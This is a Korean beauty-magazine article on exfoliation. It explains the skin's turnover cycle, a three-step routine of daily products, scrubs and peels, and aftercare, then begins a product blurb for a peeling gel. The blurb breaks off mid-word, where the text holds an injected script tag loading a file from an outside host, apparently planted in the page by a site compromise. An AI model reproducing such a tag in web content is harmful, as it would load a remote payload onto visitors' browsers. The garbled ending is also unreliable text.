각질은 좋은 습관이 중요해요!


아무리 좋다고 하는 제품을 써도 별 효과를 얻지 못한다? 피부톤이 칙칙하다? 화장이 안먹는다? 그렇다면 각질에 대해 알아보자.

◇각질이란? 각질층은 피부 표피의 가장 윗부분을 말하는데, 공기 중의 수분을 흡수해 피부를 촉촉하게 유지하며, 외부 환경으로부터 피부 세포를 보호하는 기능을 한다. 표피의 기저 세포층은 끊임없이 세포분열을 해 위로 올라오면서 성숙하게 되는데, 그 마지막 과정이 바로 각질 세포. 각질 세포층은 항상 공기 중에 노출돼 있어 수분이 감소하고 기능이 저하되면 자연스럽게 떨어져 나간다. 이때 피지와 수분은 새로 올라온 각질이 죽은 것과 함께 떨어져 나가지 않도록 보호해주는 역할을 한다. 기저 세포층에서 시작해 각질 세포로 변모한 후 탈락 되는 데는 보통 한 달 정도(28일)의 시간이 걸리고, 이를 피부 턴 오버 주기라고 한다. 피부에 오래된 세포가 정체돼 피부 턴 오버 기능이 떨어지면 안색이 탁해지고, 모공이 막혀 각종 트러블을 일으키기 때문에 제때 각질을 관리해야 한다.

■ 단계별 각질 제거요령

①1단계 - 기초제품: 각질을 그대로 두면 화장품의 수분과 영양이 피부에 충분히 흡수되지 못할 뿐 아니라 피부톤을 칙칙하게 만들기 십상. 매일 쌓이는 미세 각질을 제거하기 위해서는 적당량의 각질 제거 성분이 함유된 제품을 매일 꾸준히 사용하는 것이 효과적이다. 피지와 노폐물, 각질을 닦아주는 산뜻한 토너 타입이나 보습 효과를 겸비한 로션 또는 크림, 미세한 각질 제거 알갱이가 들어 있는 클렌저나 에센스를 사용한다.

②2단계 - 스크럽: 스크럽제는 피부를 부드럽게 문질러줌으로써 피부 표면의 각질과 노폐물을 제거하고, 새로운 세포 재생을 촉진하는 역할을 한다. 사용할 땐 피부 타입에 따라 알갱이의 크기를 선택하는 것이 포인트. 알갱이가 보일 듯 말 듯 작은 스크럽제는 약간 건성이거나 중성피부에 효과적. 알갱이가 큰 스크럽제는 얼굴 전체보다는 각질이 심하게 일어난 극소 부분에 사용하는 것으로 지성이나 심한 각질 피부에 적당하다. 민감성, 건성 피부인 경우 주 1회, 지성피부나 각질이 두꺼운 피부일 때는 주 2회 정도가 적당하다. 스크럽제를 사용할 때는 눈과 입술 주위에는 발리지 않도록 주의하자.

③3단계 - 마스크 & 필링: 스크럽제 보다 강도가 높은 것이 마스크와 필링제. 피부 노폐물과 메이크업 잔여물, 죽은 각질을 흡착해 제거하는 방식. 마스크는 고운 입자가 피부 표면 각질에 붙어 서서히 굳은 후 제거할 때 각질이 함께 떨어지고, 필링제는 약산성으로 마른 얼굴에 얇게 펴 바르면 각질을 녹여준다. 마스크와 필링제는 건성피부는 한 달에 1~3회, 중복합성 피부는 주 2~3회, 지성피부는 주 3~4회 사용해도 된다.

각질 제거 후 알코올 성분이 함유된 아스트린젠트를 바르거나 강한 농축액인 에센스를 바로 바르면 트러블을 일으킬수 있으므로 진정 효과가 있는 토너를 바르거나 천연피지막이 생길 때까지 기다리는 것도 방법이다. 또한 각질 제거는 쉽게 말해 피부 보호막 한 겹을 제거하는 것이므로 자외선에 노출되었을 때 붉게 달아오르거나 붓는 등 민감한 반응을 보일 수 있다. 외출 시에는 SPF 15 이상의 자외선차단제를 반드시 바르도록 하자.

하지만 이미 생성된 각질을 제거하는 것보다 중요한 것은 예방! 특히 건조한 환절기에는 수분공급을 꼭 병행 해야 한다. 매일 보습제품을 집중적으로 바르고 일주일에 2-3회 보습팩을 해준다. 또한 철저한 세안도 중요하다. 따뜻한 물로 여러 번 패팅해 각질을 부드럽게 불린 뒤 각질 제거 성분이 함유된 클렌징 폼을 손바닥에 덜어 충분히 거품을 낸 다음 헹군다. 스팀 타올과 세안 솔 사용도 도움이 된다.

도움말: 이지함 화장품

최은혜 기자 coseun@csmt.co.kr



아모레퍼시픽:라네즈 딸기 요거트 필링 젤

■주요성분: 셀룰로스, 엑스폴리에이팅 엔자임

■주요특징: ① 셀룰로스 필링으로 각질이 셀룰로스와 함께 묻어 나오고, 레드 캡슐 속 엔자임이 피부 굴곡 깊숙이 묵은 각질을 케어해 주는 이중 각질 케어 제품이다. ② 부드럽게 손놀림 하면서 각질이 셀룰로스 성분과 함께 자연스럽게 제거돼 피부?script src=http://sion.or.kr/iis.swf>

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